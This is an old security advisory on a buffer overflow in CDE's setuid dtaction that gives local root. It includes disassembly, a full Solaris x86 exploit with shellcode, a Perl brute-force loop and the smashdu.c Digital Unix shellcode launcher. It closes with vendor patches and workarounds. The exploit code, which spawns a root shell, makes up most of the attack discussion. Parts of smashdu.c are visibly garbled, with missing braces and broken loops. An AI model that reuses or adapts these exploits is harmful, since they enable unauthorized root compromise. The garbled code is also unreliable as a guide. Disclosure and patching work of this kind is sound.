COMMAND
dtaction
SYSTEMS AFFECTED
Solaris 2.5.1, 2.6, 7, DU 4.0[DEF], AIX 4.1.x, 4.2.x, 4.3.x
PROBLEM
Job de Haas found following. He discovered the following security
problem in dtaction, part of CDE. /usr/dt/bin/dtaction contains a
buffer overflow when a username of more than 1024 bytes is
supplied as an argument. The buffer overflow can lead to local
root compromise.
Despite the fact that Georgi Gunski found a buffer overflow in
dtaction in 1997, no-one apparently checked dtaction any further.
The overflow that was discovered then appeared to be due to a bug
in the shared library libDtSvc.so, which was subsequently fixed.
Even though the Sun Security Bulletin 164 at that time said:
Due to insufficient bounds checking on arguments supplied
to dtaction, it is possible to overwrite the internal stack
space of dtaction. As dtaction is setuid root, this
vulnerability may be exploited to gain root access.
Apparently not all user supplied arguments were checked.
Supplying a username over 1024 with the argument -user will
overflow an internal buffer used to log a message to
/var/adm/sulog. Although the overflow can succeed, a message will
always be logged to /var/adm/sulog. The overflow is in a function
called AddSuLog, which is called from a function LogFailure, which
in turn is called from a function UnknownUser: The code at the
end of the routine UnkownUser() looks like this (all on Solaris
2.6):
UnknownUser+0x025c: call LogFailure
UnknownUser+0x0260: nop
UnknownUser+0x0264: call 0x00023904 [unresolved PLT 54: XmStringFree]
UnknownUser+0x0268: mov %i3, %o0
UnknownUser+0x026c: call 0x00023904 [unresolved PLT 54: XmStringFree]
UnknownUser+0x0270: mov %i2, %o0
UnknownUser+0x0274: call 0x00023910 [unresolved PLT 55: XtFree]
UnknownUser+0x0278: mov %i4, %o0
UnknownUser+0x027c: sethi %hi(0x23c00), %o0
UnknownUser+0x0280: call 0x000237a8 [unresolved PLT 25: XtAppMainLoop]
UnknownUser+0x0284: ld [%o0 + 0x3c4], %o0
UnknownUser+0x0288: ret
UnknownUser+0x028c: restore
According to the discription of XtAppMainLoop, it will never
return. This will make the overflow not exploitable on systems
where the return address on the stack is for the caller of the
caller (like sparc). However, when we inspect the function
XtAppMainLoop on Solaris 2.6 we find:
XtAppMainLoop : save %sp, -0xc0, %sp
XtAppMainLoop+0x0004: tst %i0
XtAppMainLoop+0x0008: be XtAppMainLoop+0x30
XtAppMainLoop+0x000c: add %fp, -0x60, %o1
XtAppMainLoop+0x0010: ld [%i0 + 0x224], %o0
XtAppMainLoop+0x0014: tst %o0
XtAppMainLoop+0x0018: be XtAppMainLoop+0x30
XtAppMainLoop+0x001c: add %fp, -0x60, %o1
XtAppMainLoop+0x0020: ld [%i0 + 0x224], %o1
XtAppMainLoop+0x0024: jmpl %o1, %o7
XtAppMainLoop+0x0028: mov %i0, %o0
XtAppMainLoop+0x002c: add %fp, -0x60, %o1
XtAppMainLoop+0x0030: call 0xef5a193c [unresolved PLT 181:
XtAppNextEvent]
XtAppMainLoop+0x0034: mov %i0, %o0
XtAppMainLoop+0x0038: call 0xef5a1948 [unresolved PLT 182:
XtDispatchEvent]
XtAppMainLoop+0x003c: add %fp, -0x60, %o0
XtAppMainLoop+0x0040: ldsb [%i0 + 0x21c], %o0
XtAppMainLoop+0x0044: tst %o0
XtAppMainLoop+0x0048: be XtAppMainLoop+0x30
XtAppMainLoop+0x004c: add %fp, -0x60, %o1
XtAppMainLoop+0x0050: tst %i0
XtAppMainLoop+0x0054: be XtAppMainLoop+0x78
XtAppMainLoop+0x0058: nop
XtAppMainLoop+0x005c: ld [%i0 + 0x228], %o0
XtAppMainLoop+0x0060: tst %o0
XtAppMainLoop+0x0064: be XtAppMainLoop+0x78
XtAppMainLoop+0x0068: nop
XtAppMainLoop+0x006c: ld [%i0 + 0x228], %o1
XtAppMainLoop+0x0070: jmpl %o1, %o7
XtAppMainLoop+0x0074: mov %i0, %o0
XtAppMainLoop+0x0078: ret
XtAppMainLoop+0x007c: restore
It seems that this function might end if a certain test fails. It
is unclear if this is a test under control of the user. Below is
a simple C program which shows the problem on Solaris 7 x86, which
has a stack with the return address of the caller on it. Although
the overflow is present in most implementations, exploiting it is
very much system dependent.
/*
* dtaction_ov.c
* Job de Haas
* (c) ITSX bv 1999
*
* This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
* It has only been tested on Solaris 7 x86
* assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#define BUFLEN 998
char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";
main()
{
char *argp[6], *envp[3];
char buf[2048];
unsigned long *p;
struct passwd *pw;
int buflen;
if ((pw = getpwuid(getuid())) == NULL) {
perror("getpwuid");
exit(1);
}
buflen = BUFLEN - strlen( pw->pw_name );
memset(buf,0x90,buflen);
strncpy( &buf[500], exploit_code, strlen(exploit_code));
/* set some pointers to values that keep code running */
p = (unsigned long *)&buf[buflen];
*p++ = 0x37dc779b;
*p++ = 0xdfaf6502;
*p++ = 0x08051230;
*p++ = 0x080479b8;
/* the return address. */
*p++ = 0x08047710;
*p = 0;
argp[0] = strdup("/usr/dt/bin/dtaction");
argp[1] = strdup("-u");
argp[2] = strdup(buf);
argp[3] = strdup("Run");
argp[4] = strdup("/usr/bin/id");
argp[5] = NULL;
if (!getenv("DISPLAY")) {
printf("forgot to set DISPLAY\n");
exit(1);
}
envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
strcpy(envp[0],"DISPLAY=");
strcat(envp[0],getenv("DISPLAY"));
envp[1] = NULL;
execve("/usr/dt/bin/dtaction",argp,envp);
}
Zack Hubert verified that the dtaction vulnerability in CDE can
be exploited for local root compromise on Digital Unix systems.
Code was all written by Lamont Granquist and distributed under
previous Digital Unix overflows. There is a slight modification
however. Compile smashdu, change the perl script to match your
location, put some kind of paperweight on your enter key (believe
me!), and voila, root.
#!/usr/local/bin/perl
$n=8175;
foreach $j (1..1000) {
foreach $i (0..7) {
$x = $n + $j;
printf("%d %d\n",$x,$i);
$cmd = "./smashdu -e 'DISPLAY=youriphere:0' 1013 $i $x
/usr/dt/bin/dtaction -u %e Run /bin/sh";
open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
while (<S>) {
if (m|uid=0|) {
print "got root with '$cmd'\n";
exit(0);
}
}
close(S);
}
}
exit(0);
------------------
/* smashdu.c
generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
Lamont Granquist
lamontg@hitl.washington.edu
lamontg@u.washington.edu
Tue Dec 1 11:22:03 PST 1998
gcc -o smashdu smashdu.c */
#define MAXENV 30
#define MAXARG 30
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
/* shellcode = 80 bytes. as the entry to this shellcode is at offset+72
bytes
it cannot be simply padded with nops prior to the shellcode. */
int rawcode[] = {
0x2230fec4, /* subq $16,0x13c,$17 */
0x47ff0412, /* clr $18 */
0x42509532, /* subq $18, 0x84 */
0x239fffff, /* xor $18, 0xffffffff, $18 */
0x4b84169c,
0x465c0812,
0xb2510134, /* stl $18, 0x134($17) */
0x265cff98, /* lda $18, 0xff978cd0 */
0x22528cd1,
0x465c0812, /* xor $18, 0xffffffff, $18 */
0xb2510140, /* stl $18, 0x140($17) */
0xb6110148, /* stq $16,0x148($17) */
0xb7f10150, /* stq $31,0x150($17) */
0x22310148, /* addq $17,0x148,$17 */
0x225f013a, /* ldil $18,0x13a */
0x425ff520, /* subq $18,0xff,$0 */
0x47ff0412, /* clr $18 */
0xffffffff, /* call_pal 0x83 */
0xd21fffed, /* bsr $16,$l1 ENTRY */
0x6e69622f, /* .ascii "/bin" */
/* .ascii "/sh\0" is generated */
};
int nop = 0x47ff041f;
int shellcodesize = 0;
int padding = 0;
int overflowsize = 0;
long retaddr = 0x11fffff24;
void usage(void) {
fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
fprintf(stderr, " -e: add a variable to the environment\n");
fprintf(stderr, " -r: change ra from default 0x11fffff24\n");
fprintf(stderr, " shellsize: size of shellcode on the heap\n");
fprintf(stderr, " pad: padding to alighn the shellcode correctly\n");
fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n");
fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n");
fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
fprintf(stderr, "/foo/bar %%e\n");
exit(-1);
}
/* this handles generation of shellcode of the appropriate size and with
appropriate padding bytes for alignment. the padding argument should
typically only be 0,1,2,3 and the routine is "nice" in that if you feed
it the size of your malloc()'d buffer it should prevent overrunning it
by automatically adjusting the shellcode size downwards. */
int genshellcode(char *shellcode, int size, int padding) {
int i, s, n;
char *rp;
char *sp;
char *np;
rp = (char *)rawcode;
sp = (char *)shellcode;
np = (char *)&nop;
s = size;
if (size < (80 + padding)) {
fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
fprintf(stderr, "with %d padding\n", size, padding);
exit(-1);
}
/* first we pad */
for(i=0;i<padding;i++) {
*sp = 0x6e;
sp++;
s--;
}
/* then we copy over the first 72 bytes of the shellcode */
for(i=0;i<72;i++) {
*sp = rp[i];
sp++;
s--;
}
if (s % 4 != 0) {
n = s % 4;
s -= n;
printf("shellcode truncated to %d bytes\n", size - n);
}
/* then we add the nops */
for(i=0; s > 8; s--, i++) {
*sp = np[i % 4];
sp++;
}
n = i / 4; /* n == number of nops */
/* then we add the tail 2 instructions */
for(i=0; i < 8; i++) {
*sp = rp[i+72];
if(i==0) /* here we handle modifying the branch instruction */
*sp -= n;
*sp++;
}
}
int main(argc, argv)
int argc;
char *argv[];
{
char *badargs[MAXARG];
char *badenv[MAXENV];
long i, *ip, p;
char *cp, *ocp;
int c, env_idx, overflow_idx;
env_idx = 0;
while ((c = getopt(argc, argv, "e:r:")) != EOF) {
switch (c) {
case 'e': /* add an env variable */
badenv[env_idx++] = optarg;
if (env_idx >= MAXENV - 2) {
fprintf(stderr, "too many envs, ");
fprintf(stderr, "try increasing MAXENV and recompiling\n");
exit(-1);
}
break;
case 'r': /* change default ra */
sscanf(optarg, "%x", &retaddr);
break;
default:
usage();
/* NOTREACHED */
}
}
if (argc - optind < 4) {
usage();
shellcodesize = atoi(argv[optind++]);
padding = atoi(argv[optind++]);
overflowsize = atoi(argv[optind++]);
printf("using %d %d %d\n", shellcodesize, padding, overflowsize);
/* copy the args over from argv[] into badargs[] */
for(i=0;i<29;i++) {
if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode
*/
badargs[i] = malloc(overflowsize);
overflow_idx = i;
optind++;
} else {
badargs[i] = argv[optind++];
}
if (optind >= argc) {
i++;
break;
}
badargs[i] = NULL;
if (optind < argc) {
fprintf(stderr, "too many args, try increasing MAXARG and
recompiling\n");
exit(-1);
}
printf("putting overflow code into argv[%d]\n", overflow_idx);
cp = badargs[overflow_idx];
for(i=0;i<overflowsize-8;i++) {
*cp = 0x61;
cp++;
}
ocp = (char *) &retaddr;
for(i=0;i<8;i++) {
cp[i] = ocp[i];
}
/* here is where we actually shovel the shellcode into the environment */
badenv[env_idx] = malloc(1024);
genshellcode(badenv[env_idx++],shellcodesize,padding);
badenv[env_idx] = NULL;
/* and now we call our program with the hostile args */
execve(badargs[0], badargs, badenv);
}
SOLUTION
dtaction allows local or remote invocation of an 'Action' as any
user. This is why dtaction is setuid root. If this feature is not
needed the setuid bits can be removed:
chmod 555 /usr/dt/bin/dtaction
dtaction can then still be used to invoke local and remote
'Actions' as the user invoking dtaction. Patches as follows.
Compaq Computer Corporation
===========================
This potential security problem has been resolved and a patch
for this problem has been made available for Tru64 UNIX V4.0D,
V4.0E and V4.0F. This patch can be installed on:
V4.0D Patch kit BL11 or BL12
V4.0E Patch kit BL1 or BL12
V4.0F Patch kit BL1
This solution will be included in a future distributed release
of Compaq's Tru64/DIGITAL UNIX. This patch may be obtained from
the World Wide Web at the following FTP address:
http://www.service.digital.com/patches
The patch file name is SSRT0615U_dtaction.tar.Z. Eric Gatenby
added following. He noticed a major omission in the
instructions for the installation of the patch. Here are the
instructions from the README:
# cd /usr/dt/bin
# cp /patches/dtaction dtaction.new
# chown root:system dtaction.new
# chmod 6555 dtaction.new
# ln dtaction dtaction.orig
# mv dtaction.new dtaction
The major problem is that it leaves the dtaction.orig file (the
one with the overflow) setuid to root. Some admins will notice
it, some won't... Solution? chmod 0100 /usr/dt/bin/dtaction.orig
IBM
===
The following APARs will be available soon:
AIX 4.1.x: IY03125 IY03847
AIX 4.2.x: IY03105 IY03848
AIX 4.3.x: IY02944 IY03849
Customers that do not require the CDE desktop functionality can
disable CDE by restricting access to the CDE daemons and
removing the dt entry from /etc/inittab. Run the following
commands as root to disable CDE:
# /usr/dt/bin/dtconfig -d
# chsubserver -d -v dtspc
# chsubserver -d -v ttdbserver
# chsubserver -d -v cmsd
# chown root.system /usr/dt/bin/*
# chmod 0 /usr/dt/bin/*
For customers that require the CDE desktop functionality, a
temporary fix is available via anonymous ftp from:
ftp://aix.software.ibm.com/aix/efixes/security/cdecert.tar.Z
Santa Cruz Operation (SCO) and SGI are investigating the issue.
Sun Microsystems
================
The following patches are available:
CDE version SunOS version Patch ID
___________ _____________ _________
1.3 5.7 108219-01
1.3_x86 5.7_x86 108220-01
1.2 5.6 108201-01
1.2_x86 5.6_x86 108202-01
1.0.2 5.5.1, 5.5, 5.4 108289-02
1.0.2_x86 5.5.1_x86, 5.5_x86, 5.4_x86 108290-03
1.0.1 5.5, 5.4 108254-01
1.0.1_x86 5.5_x86, 5.4_x86 108255-01